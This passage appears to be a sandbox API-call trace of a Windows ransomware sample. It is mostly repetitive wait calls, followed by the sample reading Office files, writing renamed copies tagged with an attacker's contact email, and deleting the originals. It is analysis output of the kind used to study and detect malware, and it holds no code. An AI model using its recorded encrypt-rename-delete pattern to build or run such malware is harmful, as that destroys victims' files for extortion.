GetProcessHeap () returned 0xc00000 [0088.177] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x50) returned 0xc25510 [0088.177] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x772d0000 [0088.177] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0088.177] Wow64DisableWow64FsRedirection (in: OldValue=0x339fa94 | out: OldValue=0x339fa94*=0x0) returned 1 [0088.177] GetProcessHeap () returned 0xc00000 [0088.177] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc25510 | out: hHeap=0xc00000) returned 1 [0088.177] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.177] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.178] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.178] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.178] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.178] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.178] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.178] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.178] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.178] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.178] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.178] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.179] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.179] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.179] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.179] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.179] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.179] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.179] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.179] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.179] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.179] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.179] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.179] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.180] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.180] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.180] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.180] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.180] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.180] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.180] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.180] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.180] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.180] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.181] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.181] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.181] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.181] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.181] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.181] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.181] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.181] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.181] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.182] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.182] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.182] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.182] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.182] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.182] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.183] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.183] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.183] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.183] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.183] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.183] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.183] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.183] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.183] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.183] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.183] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.184] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.184] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.184] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.184] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.184] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.184] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.184] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.184] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.184] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.184] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.184] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.185] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.185] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.185] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.185] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.185] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.185] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.185] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.185] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.185] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.186] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.186] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.186] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.186] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.186] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.186] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.186] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.186] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.186] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.186] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.187] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.187] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.187] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.187] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.187] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.187] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.187] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.187] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.187] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.188] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.188] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.188] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.188] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.188] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.188] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.188] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.188] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.188] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.189] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.189] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.189] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.189] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.189] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.189] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.189] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.189] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.190] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.191] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.191] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.191] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.191] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.191] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.191] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.191] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.191] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.191] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.192] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.192] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.192] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.192] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.192] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.192] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.192] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.192] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.193] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.193] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.193] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.194] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.194] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.194] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.194] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.194] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.194] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.194] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.194] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.195] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.195] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.195] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.195] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.195] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.195] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.195] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.195] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.195] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.196] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.196] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.196] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.196] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.196] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.196] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.197] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.197] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.197] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.197] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.197] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.197] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.197] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.198] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.198] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.198] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.198] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.198] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.199] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.199] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.199] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.199] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.199] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.199] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.199] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.199] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.200] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.200] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.200] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.200] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.200] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.200] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.200] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.200] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.200] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.201] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.201] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.201] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.201] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.201] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.201] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.201] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.201] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.202] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.202] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.202] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.202] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.202] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.202] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.202] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.202] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.203] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.203] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.203] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.203] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.203] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.203] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.203] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.203] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.203] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.204] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.204] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.204] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.204] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.204] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.204] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.205] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.205] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.205] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.205] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.205] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.205] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.205] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.205] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.206] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.206] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.206] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.206] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.206] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.206] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.206] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.207] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.207] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.207] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.207] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.207] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.207] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.207] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.207] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.208] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.208] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.208] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.208] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.208] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0088.208] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0110.593] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fa08 | out: lpNewFilePointer=0x0) returned 1 [0110.594] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fa08 | out: lpNewFilePointer=0x0) returned 1 [0110.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dbsample.mdb.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x330 [0111.961] ReadFile (in: hFile=0x2c8, lpBuffer=0x3609020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x339fa14, lpOverlapped=0x0 | out: lpBuffer=0x3609020*, lpNumberOfBytesRead=0x339fa14*=0x7c000, lpOverlapped=0x0) returned 1 [0111.994] WriteFile (in: hFile=0x330, lpBuffer=0x3609020*, nNumberOfBytesToWrite=0x7c010, lpNumberOfBytesWritten=0x339f9f8, lpOverlapped=0x0 | out: lpBuffer=0x3609020*, lpNumberOfBytesWritten=0x339f9f8*=0x7c010, lpOverlapped=0x0) returned 1 [0113.194] WriteFile (in: hFile=0x330, lpBuffer=0x3609020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x339f9f8, lpOverlapped=0x0 | out: lpBuffer=0x3609020*, lpNumberOfBytesWritten=0x339f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0113.194] CloseHandle (hObject=0x2c8) returned 1 [0113.195] CloseHandle (hObject=0x330) returned 1 [0113.215] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dbsample.mdb")) returned 1 [0114.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzmain.accde"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0114.458] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339fa40 | out: lpFileSize=0x339fa40*=9277440) returned 1 [0114.458] CloseHandle (hObject=0x2c8) returned 1 [0114.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzmain.accde")) returned 0x220 [0114.458] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzmain.accde"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzmain.accde.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 1 [0114.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzmain.accde.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0114.459] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339f890 | out: lpNewFilePointer=0x0) returned 1 [0114.460] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339f890 | 